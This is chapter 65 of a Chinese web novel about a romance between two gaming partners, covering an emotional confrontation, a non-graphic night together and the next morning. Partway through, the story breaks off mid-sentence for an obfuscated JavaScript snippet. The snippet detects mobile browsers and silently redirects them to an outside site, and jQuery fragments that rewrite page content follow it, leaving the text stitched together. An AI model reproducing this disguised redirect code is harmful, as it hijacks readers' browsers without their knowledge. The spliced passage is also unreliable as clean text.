65. 渴望

作品:《游戏搭子今天也想演我

    暗哑的空气中,星星点点的燥热缓慢发酵蔓延,似乎只要一颗火苗,就能擦起燎原的火。


    程舒晚呼吸微顿,连带着身体也跟着发僵,目光一转不转地盯着关时的眼睛,那双清浅的眼眸里倒映着自己的脸,却包裹着一层难以察觉的不安,渴望,和认真。


    接管你的一切。


    这话说得是挺突然的,但是关时这副表情,显然不是一时冲动脱口而出的调情。


    “发生什么事了?”程舒晚放慢了声音问,还补了一句断掉关时逃跑的后路,“你答应过我的,遇到什么事情了要告诉我,不要一个人扛着。”


    这句话温温润润,却是包裹糖浆的锤子,在关时维持的游刃有余的外壳上一下一下敲击,敲出一条裂缝。


    他喉结滚动,张了张嘴,最后破罐子破摔,唇舌重新覆盖在程舒晚脸上,以一种近似乎被揭短的恼羞成怒的姿态撞进她的唇齿,蛮横占有。


    这一瞬间,程舒晚觉得自己像是关时带在身上的那盒薄荷糖,被亲咬得潮湿,一点点融化在他的呼吸之间,连氧气也被剥夺,脑袋发麻,被禁锢在沙发上的手也使不上劲。


    怎么突然亲得这么凶。


    程舒晚耗尽力气,一口咬在关时下唇,终于找到空档喊出他的名字:“关时……停……!”


    这家伙终于是结束了亲吻,但没有抬头,突然把她搂进怀里,脑袋蹭进她的颈窝不吭声了。


    程舒晚完全愣住了,一边平稳呼吸,一边不忘安抚地揉揉他的后脑勺,笑了笑,“受什么气了?裴哥还是小贾揍你了?我去骂他们,下次做蛋糕不给他们的份,好不好?”


    还有力气说俏皮话哄人。


    关时的手臂收得更紧了。


    “别总这副样子……”他嗓音有点哽,明明咬着牙,出口的语气却轻若鸿毛,“我该拿你怎么办才好……”


    恨不得把她拆吃入腹,恨不得找个宝箱锁起来,管外面风风雨雨,她什么都不用面对。


    可她那么坚强,那么灿烂,总摸着他的脑袋说,有什么担子我跟你一起担。


    “谁他妈的要你担了。”关时重新把程舒晚扑回沙发,滔天的心疼和恨意在心底蔓延出一片阴湿的占有欲和破坏欲,几乎是控诉地在她颈侧和锁骨落下痕迹,“何叔说你跟他报备过,你可能会被你爸妈报失踪……你为什么不告诉我。”


    听到何叔,程舒晚怔了怔,大概明白了关时的情绪从何而来,一时有点心虚,只能尽量安抚:“我没想太多,只是跟何警官说了一声……”


    “借口。”关时重新用吻打断她,“不管多小的事情,以后都要想到我,知道吗?”


    程舒晚被亲得说不出话:“……唔……”


    听到她的气声,关时抬了抬唇,盯着程舒晚微微喘息的脸庞和水润透红的嘴唇,眉头拧了拧,还是放软了语气,脸贴在她颈侧喃喃,“舒晚……别那么懂事好不好。”


    “我求你了。”


    程舒晚感受着关时身上传递过来的温度,睁眼盯着天花板半晌,抬手把他的脸捧起来,“关时。”


    下一秒,她突然昂起头,朝他嘴唇咬了上去。


    关时愣神片刻,抱住她的后颈,任由她啃咬。


    程舒晚的吻和她疏离的做事风格截然相反,非常没有分寸,带着狠劲儿的,像是张牙舞爪的野猫在护食,但咬过的地方紧接着又被舌尖一下一下抚慰,疼痛和温柔交织在一起,宛如让人上瘾的毒药。


    但关时很喜欢她这样。


    他的淡性子姑娘,亲人是用咬的。


    除了他之外,没人会知道。


    牙尖嘴利的吻告一段落,程舒晚也没停,学着关时在她锁骨上吻的痕迹那样,在他脖颈上也留下了咬痕,接着轻轻舔了舔。


    “我脾气很差的。”程舒晚的声音裹着一层淡淡的鼻音,眼眶微微发红,“你要我别那么懂事的话,做好被我烦哭的准备,不管多恶劣都不能拒绝。”


    “嗯。”关时把程舒晚往怀里锁,“你只管由着自己性子……我能接住你。就跟游戏里一样。”


    “不论输赢。”


    程舒晚顺着他的怀抱往他身上凑,近到他的呼吸声就贴在耳边,温热的气息扫过肩膀,被他亲吻过的地方灼灼起来,温吞地烤干她的理智。


    “关时。”她轻声唤道,“你是不是洗过澡了。”


    “你闻闻?”关时低笑了一声,“电子竞技不需要静态视力是吗?我穿的睡衣,看不出来?”


    “……哦。”程舒晚快要找不回自己的脑子了,“我也洗过了。”


    相当于默许了接下来的发展。


    关时的声音也干得有些发哑,“要去房间吗?”


    程舒晚:“嗯。”


    关时托着程舒晚的腰臀,面对面抱了起来,程舒晚搂着他的脖子,跟树懒一样挂在他身上,察觉到他似乎俯身在茶几上拿了什么,“……拿手机吗?”


    “不是。”关时直接把那盒子塞她手上,也没解释,抱着她往主卧里走。


    程舒晚就着昏暗的灯光看清那小盒子的包装字样,脸色猛然涨红,“……你买的?”


    “刚买的。”关时把她轻轻放到床上,扯唇笑了笑,“我没事也不备着这个啊。”


    “不是,”程舒晚瞪着眼,“刚刚就一直放在茶几上?”


    关时的手顺着程舒晚的背往下,触碰到衣摆下的腰肢,又顺着往上推开,一边吻着她,“所以我说,电子竞技不需要静态视力。”


    程舒晚:“……”


    这盒东西的出现让她稍微有些紧张起来,抓着关时的手有些用力。燥热的指尖触碰到腹地,像是细密的电流从全身流过,她有些慌乱又无措,下意识握住他的胳膊,“关时……”


    关时停顿,“难受?”


    “没……”程舒晚睁着眼,指尖紧了紧。


    关时握住她的手摩挲了下手背,放缓了语气,“那我继续?”


    程舒晚:“……嗯。”


    房间里没开灯,只有走廊暖黄的光透过门缝,恰到好处地烘烤着黑暗的暧昧,明明没有人喝酒,空气中却四处都是让人微醺的旖旎,密密麻麻把程舒晚包裹,像是无声的欲海将要吞没她这条船舶。


    她只能收紧搂着关时,以防自己溺亡在这片海水之中。


    却忘了自己抱紧的这个人,就是引诱她这条船舶的海妖。


    混乱和挣扎中,她听见海妖喊了她的名字。


    “舒晚……”


    她睁开眼,宽阔的身躯悬在上方,那张熟悉的脸在黑暗中也能看清轮廓,利落的下颌,浓烈的眉眼,额间的湿意也不知道是来自燥热还是欲海,清浅的眼眸在此刻也染上了晦暗的情愫。


    “看着我。”


    她望着关时的眼眸,脑子里突然闪过搬家那日,满身低气压地从楼道走到室外,抬眼撞进那灿烂而温和的目光之中的瞬间。


    她突然没那么紧张了。


    毕竟,这是关时啊。


    她的游戏搭子。


    她的白月光。


    她的烈阳。


    她的爱人。


    这一瞬间被拉得很长,程舒晚失神地用力抱着关时,后知后觉指甲似乎掐着他的背了,他还一言不发。


    “不痛吗?”她问,声音有点抖,“我掐得很狠诶。”


    “……”关时抿着嘴唇,额角的汗水顺着脸颊滴落,嗓音很轻,似乎在很用力地克制什么,“我说了,别那么懂事。”


    “……”程舒晚轻轻咬住他的肩膀,“你说的。”


    黑暗难忍地安静了片刻,渐渐有了些动静。


    试探,交锋,适应。


    还算和煦,也还算轻柔。


    但也不知道哪个瞬间,不知道是谁,理智的锁率先崩断,放出了困于牢笼里的渴望。


    而后一切都混


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377614|183889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱起来。


    呼吸,声音,触碰,心跳,被空气中无处不在、让人迷醉的旖旎一搅和,只余下攥紧被子的手,划过皮肤的水珠,肩颈泛红的痕迹,紧绷的肌肉线条,在唇舌之间翻涌的呢喃。


    紊乱的气息中,程舒晚发出一声颤抖的呜咽。


    “关时……”她声音已经有点哑了,附着一层浅浅的哭腔,“……别看我。”


    关时眼底被不知名的暗色占满,指尖轻轻拨开她额前的发丝。


    “我偏要看。”他说,“不准逃跑。”


    克制许久的想法与情愫,在这混乱的夜晚密密相织,张成一张密不透风的蛛网,将他的猎物困得动弹不得。


    就此刻,就此地。


    翱翔的飞鸟也得驻足他这片泥潭。


    沉沦吧。


    沉沦。


    海上的浪,漂泊的船,蛊惑人心的海妖。


    都注定要为这场暴风雨停留,吞噬。


    一整晚。


    ……


    闹钟响的时候程舒晚还没醒,比她的意志更困倦的是她的身体,眼皮都睁不开,但闹钟的铃声还在不厌其烦唱着。


    好烦。


    想睡觉。


    就在即将要跳起来摔手机的前一秒,背后的人动了一下,手臂越过她的头顶伸向床头柜。


    铃声停了,世界清静。


    随后腰上一重,那条手臂很自然地环了上来,圈着她往怀里收了收。


    ……倒是比闹钟更有效。


    程舒晚微微睁开眼,在关时怀里一拱一拱地转了个身,面对着他。


    关时的眼睛还闭着,嘴唇上有个很细小的破口,是她没轻没重咬的。程舒晚伸出手指抹了抹,随即被关时攥住了。


    他眼睛睁开一条缝,破了口的唇往上扬了扬,露出和煦的微笑来,“大早上就耍流氓。”


    “这不算。”程舒晚说,一开口才发现嗓子还是有点不自然。


    “一会儿给你泡蜂蜜水。”关时说着,把她搂进怀里,“再睡会儿。”


    程舒晚赞同。


    程舒晚睡觉。


    回笼到早上十点,两人终于起床。程舒晚一边刷牙,一边把昨天半夜两人洗澡换的衣服扔洗衣机里,回到洗漱台,拉开衣领看了看镜子。


    红痕散在肩上,锁骨,脖颈也有,甚至胳膊,手腕……晚上直播得戴个腕带。


    啧。


    蚊子转世吧。


    正幽怨想着,镜子里出现关时的身影。他对上程舒晚意义不明的目光,笑了下,指了指自己颈侧的淤青,“这个比较过分吧,这么显眼,我他妈怎么遮。”


    程舒晚漱口洗杯,“……你乐意的。”


    她刚说完,关时就捏着她下巴抬起来,弯眼笑,一个很温柔的吻轻轻落在她唇上。


    “是,我乐意。”


    “嗯。”程舒晚得意地笑了下,也踮起脚回了个吻,“早安。”


    虽然时间不早,关时还是坚持下楼买早餐,程舒晚依然包揽晨间咖啡的制作,十点半,两人顺顺利利吃上早饭。


    程舒晚一边划拉手机一边啃玉米,突然说:“你下周有没有空?”


    “怎么,还有什么朋友来打比赛?”关时吃完一个包子,“别又是情敌。”


    “不是,没了……白狸也不算好不好。”程舒晚想起昨天那场饭局就哭笑不得,“是我想回一趟海大,陪我一起?”


    “回大学?”关时顿了顿,开始翻日历和安排表,“我没问题,你提前定好时间就好,我都能调整。回去是做什么?”


    “去见见我的辅导员。”程舒晚托腮想了想,“既然你要我别那么懂事……本来我是打算都准备好再告诉你的。”


    关时笑着靠在椅背上,“你啊,真是我不哭你就闷着……说吧,我听。”


    程舒晚抬起眼,认真地看着关时,“小鬼叉烧要帮早早不起早报仇昭雪。”